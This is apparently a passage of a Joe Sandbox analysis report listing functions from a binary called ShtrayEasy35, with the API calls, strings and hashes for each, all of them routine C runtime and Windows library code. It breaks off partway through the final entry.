Instruction Fuzzy Hash: 6741E674A002099FCF10DF68C892A9EBBF0BF8531DF149955EC187B392D731AA49CB91

Function 00E626B3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00E627C2,00E413D7,?,00000000,?,?,?,00E62A2C,00000022,FlsSetValue,00E76208,ccs,?), ref: 00E62774

Strings

ext-ms-, xrefs: 00E6271E
api-ms-, xrefs: 00E6270A

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 80c673d6dfeeed6e62928bb03dc42f7277a0d95eab8c2e1dd81ad97c3c440857
Instruction ID: 84590b16b9cecfcab3e3b4c726770e37d81aea1bd4217ce5686c7ebf0aa518d4
Opcode Fuzzy Hash: 80c673d6dfeeed6e62928bb03dc42f7277a0d95eab8c2e1dd81ad97c3c440857
Instruction Fuzzy Hash: C321E732A41611AFCB21DB21EC44E5A7768EB517F5F241129EF0AB72A1D770FD04C6D0

Function 00E510E2 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00E510E8
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00E510F6
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00E51107

Strings

GetTempPath2W, xrefs: 00E510FC
GetSystemTimePreciseAsFileTime, xrefs: 00E510F0
kernel32.dll, xrefs: 00E510E3

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 22a3d29ef68a13c5dd19bc0c9bd043895cf85d07805b27140d69dff09406df92
Instruction ID: 6e69686544ad77330473515c5901810d39d9ddbba869ec1d6ac2a732edf4cbc5
Opcode Fuzzy Hash: 22a3d29ef68a13c5dd19bc0c9bd043895cf85d07805b27140d69dff09406df92
Instruction Fuzzy Hash: 44D0C931786320EF9311EF76BD0E8863AE8FB197123419939F75DF2261E77444889AA1

Function 00E63F44 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f450d918adc18826895513b168eb0f4da3c278d2015c28a976cdba7e70efbf63
Instruction ID: fa0bfb749934bbc118707e7e16e9f4ba61643815003446fc7fb344f2a5375337
Opcode Fuzzy Hash: f450d918adc18826895513b168eb0f4da3c278d2015c28a976cdba7e70efbf63
Instruction Fuzzy Hash: 90B146B0E44209AFDB11DFA9E880BAE7BF1AF06355F246158F914B72D2C7708D85CB60

Function 00E5C410 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 370COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00E5C4FA
__freea.LIBCMT ref: 00E5C58A
__freea.LIBCMT ref: 00E5C5A6

Strings

a/p, xrefs: 00E5C66C
am/pm, xrefs: 00E5C608

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 72863d84101a49df455a967a83b8faf7099dd81ab6199fc17c8adbcaec407180
Instruction ID: 08afc33070f6bf47ce3313859f0916bca0e2bc9b939e7190320b549fa218bc48
Opcode Fuzzy Hash: 72863d84101a49df455a967a83b8faf7099dd81ab6199fc17c8adbcaec407180
Instruction Fuzzy Hash: 86C1B275900301DFCB288F68C8A5ABA77B0FF4970AF34685AED05BB650D371AD49CB91

Function 00E54A94 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00E54A8B,00E52C3B,00E5245A), ref: 00E54AA2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00E54AB0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00E54AC9
SetLastError.KERNEL32(00000000,00E54A8B,00E52C3B,00E5245A), ref: 00E54B1B

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 8b6b1dc1cd5101a8910beac2521e3d888b69690b41b8c358a7f87c9aa317b205
Instruction ID: 5c95ecc6992d9632fdea14d61d0211b77f69353df448a76b526e32138f8100c5
Opcode Fuzzy Hash: 8b6b1dc1cd5101a8910beac2521e3d888b69690b41b8c358a7f87c9aa317b205
Instruction Fuzzy Hash: 2A0168B320A7112EE7646A766C4655A2B84FB0673F7302A29FD14712E2EF215C8D9144

Function 00E58133 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132COMMON

Download Yara Rule

Strings

Z, xrefs: 00E581FB

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-3150733720
Opcode ID: 9c30a7d7dee5b58fe1368632c7b07b8c2bd74d1d83a54bca7a9ffe92304941b8
Instruction ID: fd3867d57951305dad003968aad765d165a0c0d366f2087563c4eeb0091c9e71
Opcode Fuzzy Hash: 9c30a7d7dee5b58fe1368632c7b07b8c2bd74d1d83a54bca7a9ffe92304941b8
Instruction Fuzzy Hash: 32415B72A00B04EFE7249F78CD41B9ABBE8EB88311F10992AF415FB292D67099458780

Function 00E5D0A7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,5847037D,?,?,00000000,00E70840,000000FF,?,00E5D083,?,?,00E5D057,00000016), ref: 00E5D0DC
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00E5D0EE
FreeLibrary.KERNEL32(00000000,?,00000000,00E70840,000000FF,?,00E5D083,?,?,00E5D057,00000016), ref: 00E5D110

Strings

mscoree.dll, xrefs: 00E5D0D5
CorExitProcess, xrefs: 00E5D0E6

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7ac595ee26e1b981b4e2a9480d73c8717bcb73ab9942cea6cee50a17505ff8a5
Instruction ID: 9bac6596baebb0a3b45253b04d7f8a129284a90dcd9e83733f4936a8be9b882c
Opcode Fuzzy Hash: 7ac595ee26e1b981b4e2a9480d73c8717bcb73ab9942cea6cee50a17505ff8a5
Instruction Fuzzy Hash: BE01D632904A19EFDB11DF51CC09FAEBBF8FB04B15F044529F915B22A0DBB59844CB90

Function 00E648C3 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00E64948
__alloca_probe_16.LIBCMT ref: 00E64A11
__freea.LIBCMT ref: 00E64A78

Part of subcall function 00E600BC: HeapAlloc.KERNEL32(00000000,?,?,?,00E52A37,?,?,00E80094,?,?,00E413D7,?,?,?), ref: 00E600EE

__freea.LIBCMT ref: 00E64A8B
__freea.LIBCMT ref: 00E64A98

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 572eb551e33688b4f42d0c4719157af21672fa0c56b1740da4a761f4aa34ae21
Instruction ID: be86d32bf813e941b9b82c3b3d61d7f96e2e7f6ec8e0e289836ae1882021b5c3
Opcode Fuzzy Hash: 572eb551e33688b4f42d0c4719157af21672fa0c56b1740da4a761f4aa34ae21
Instruction Fuzzy Hash: 9F51C6B2690206BFDB219FA0EC41EBB76EADF84794F156528FD14F6181FB31CC508664

Function 00E4ED80 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E4EDC7
std::_Lockit::_Lockit.LIBCPMT ref: 00E4EDE9
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4EE09
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4EE94
Concurrency::cancel_current_task.LIBCPMT ref: 00E4EEDA

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: f2b2cc86fd67e587816a826f01a581797e27f26c6c5860c2a85e7c537a9e0647
Instruction ID: 49dd80776c9e9e28616c0252fbdf432de5cd8255109df1d6734fbcb4446fa8d7
Opcode Fuzzy Hash: f2b2cc86fd67e587816a826f01a581797e27f26c6c5860c2a85e7c537a9e0647
Instruction Fuzzy Hash: 3E417C75A002159FCB10DFA5D884BAEBBF4FF08710F14555AE819B7361DB30AD48CBA0

Function 00E51472 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E51486
AcquireSRWLockExclusive.KERNEL32(00E4F705,?,00000000,00E7191B,000000FF,?,00E4F705), ref: 00E514A5
AcquireSRWLockExclusive.KERNEL32(00E4F705,?,?,?,00000000,00E7191B,000000FF,?,00E4F705), ref: 00E514D3
TryAcquireSRWLockExclusive.KERNEL32(00E4F705,?,?,?,00000000,00E7191B,000000FF,?,00E4F705), ref: 00E5152E
TryAcquireSRWLockExclusive.KERNEL32(00E4F705,?,?,?,00000000,00E7191B,000000FF,?,00E4F705), ref: 00E51545

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 18851afb9eb5369ff699678a9858a0b58f62b0c1cbac3f92455fd8704f2ab72e
Instruction ID: 20edd6de1cdb184652a7cdad7cdbf1f4d0f61f758fb161c589d5258b2dda2b8c
Opcode Fuzzy Hash: 18851afb9eb5369ff699678a9858a0b58f62b0c1cbac3f92455fd8704f2ab72e
Instruction Fuzzy Hash: CA418031900606DFCF20CF65D480AA9B3F5FF88356B605D9AE917E7650E730E989CB50

Function 00E4EF70 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E4EFA6
std::_Lockit::_Lockit.LIBCPMT ref: 00E4EFC9
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4EFE9
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4F073
Concurrency::cancel_current_task.LIBCPMT ref: 00E4F096

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 60a432501c39afdc86ac7b6bc404b8e12212a455c6b371359c1b2a715928ea1a
Instruction ID: d8c25e28e1a6edf44d15e12855ba4ad5e009d78bfb3becc23730dc1da3d469f9
Opcode Fuzzy Hash: 60a432501c39afdc86ac7b6bc404b8e12212a455c6b371359c1b2a715928ea1a
Instruction Fuzzy Hash: 03418E71D00215CFCB14DF94E841BAEB7B4FB84B14F24166AE909B7352EB30AD48CB91

Function 00E5099C Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00E509A3
std::_Lockit::_Lockit.LIBCPMT ref: 00E509AE
std::_Lockit::~_Lockit.LIBCPMT ref: 00E50A1C

Part of subcall function 00E50B00: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00E50B18

std::locale::_Setgloballocale.LIBCPMT ref: 00E509C9
_Yarn.LIBCPMT ref: 00E509DF

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 7270b04e6839fa5813d166add538772509b0b4184029ed86e5eca54540125ab4
Instruction ID: ee2bf26a7f1daf481773102e3a3061f049c368abb45a2c7b5445008783447a8c
Opcode Fuzzy Hash: 7270b04e6839fa5813d166add538772509b0b4184029ed86e5eca54540125ab4
Instruction Fuzzy Hash: 0401BC35A012A09FC70AEB61D891A7C77A1BF84302B145409FC05773A2DF74AE89CBC1

Function 00E425D0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 416COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00E42A6E

Strings

: ", xrefs: 00E427BB, 00E427D4
;U, xrefs: 00E42678, 00E42692, 00E42693
", ", xrefs: 00E42824, 00E4283E

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: ", "$: "$;U
API String ID: 4194217158-2355471019
Opcode ID: aaa8af30bf0aaae7f75dbdd1453000235b41f680b9e951a926f00f77cdea672f
Instruction ID: 7a991cee0c65486b5521313b239af8889eaad8c73c7973cb8e1950dc883dcd35
Opcode Fuzzy Hash: aaa8af30bf0aaae7f75dbdd1453000235b41f680b9e951a926f00f77cdea672f
Instruction Fuzzy Hash: 87E1D270A002009FDB28DF68E884BAEBBF1FF84304F54461DF615A7782E774A995CB91

Function 00E49F30 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E49FB3
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00E4A034
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4A0C9

Strings

bad locale name, xrefs: 00E4A0E7

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3553999535-1405518554
Opcode ID: 90c3401079402231943cdb2cbb7840a5e79def1bbbc26e59b567da96e1a34ef1
Instruction ID: 69af399c042bb6473e125a12afb2e259b547155aae5312345c0fda7f629a64dc
Opcode Fuzzy Hash: 90c3401079402231943cdb2cbb7840a5e79def1bbbc26e59b567da96e1a34ef1
Instruction Fuzzy Hash: 27515CB1D002489BEF10DFA4D94579EBBF8AF14314F185529EC08BB285E775E918CB92

Function 00E4F0B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00E4F122
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00E4F18D
std::_Lockit::~_Lockit.LIBCPMT ref: 00E4F222

Strings

bad locale name, xrefs: 00E4F23E

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3553999535-1405518554
Opcode ID: d76c67ae2beb4ca6eab3923c28a406f3ac5be6c2f745e7e6b4da4e5b3c42ea5d
Instruction ID: baad8deac989c1b42f202e7d55fc560cea1877faa6fd4753614d9bb719ee74e1
Opcode Fuzzy Hash: d76c67ae2beb4ca6eab3923c28a406f3ac5be6c2f745e7e6b4da4e5b3c42ea5d
Instruction Fuzzy Hash: 114138B1D012489BEB00DFA4E945B9EBBF8AF18714F145529E804B7381E779E908CBA1

Function 00E4A370 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00E4A40F

Part of subcall function 00E52C70: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,00E80094,?,00E5061C,?,00E7C07C,?), ref: 00E52CD1

Strings

ios_base::badbit set, xrefs: 00E4A3A7, 00E4A3D2, 00E4A3F3
ios_base::eofbit set, xrefs: 00E4A3B6
ios_base::failbit set, xrefs: 00E4A2A8, 00E4A3B1

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: e4495a06d37d759ddb6261091fc9e77b7b6c066289248035a76b00cfe4e90346
Instruction ID: ab780e5396227a52069c54cfd4a3e0c1cea9475ce5b0e2f89a65fe42b7ebbfb6
Opcode Fuzzy Hash: e4495a06d37d759ddb6261091fc9e77b7b6c066289248035a76b00cfe4e90346
Instruction Fuzzy Hash: F711A5B29407146BC710DE68D802B9AB3D8AF55320F18D52AFA58EB642F771A914CB91

Function 00E55BE7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00E55B98,00000000,?,00E7F8F8,?,?,?,00E55D3B,00000004,InitializeCriticalSectionEx,00E73E08,InitializeCriticalSectionEx), ref: 00E55BF4
GetLastError.KERNEL32(?,00E55B98,00000000,?,00E7F8F8,?,?,?,00E55D3B,00000004,InitializeCriticalSectionEx,00E73E08,InitializeCriticalSectionEx,00000000,?,00E55982), ref: 00E55BFE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00E55C26

Strings

api-ms-, xrefs: 00E55C0B

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 27170183564f9d40e61bc74f3ac149b91cbbe4b6a36e3915ba1ee33e1eba0d70
Instruction ID: 57457f9932e10a0c2bb547e57e5dc547667f583d08227c1fc5a24a8e24c65af9
Opcode Fuzzy Hash: 27170183564f9d40e61bc74f3ac149b91cbbe4b6a36e3915ba1ee33e1eba0d70
Instruction Fuzzy Hash: 2AE01A31680308BEEE205F62ED06B297A65AB02B55F509824FE4CB80A1E7A2A9989544

Function 00E615CC Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(5847037D,00000000,00000000,00000000), ref: 00E6162F

Part of subcall function 00E62FA1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00E64A6E,?,00000000,-00000008), ref: 00E63002

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00E61881
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00E618C7
GetLastError.KERNEL32 ref: 00E6196A

Memory Dump Source

Source File: 00000007.00000002.2937372611.0000000000E41000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 5a6cd43de12e16fb7a45e77c021dc08ddb41336cd91f2fcee0730e7c8b75f73f
Instruction ID: 87d1779e5dc805b4a8fb0b62e970ffc25854913829879850ad946caa38b5e4c3
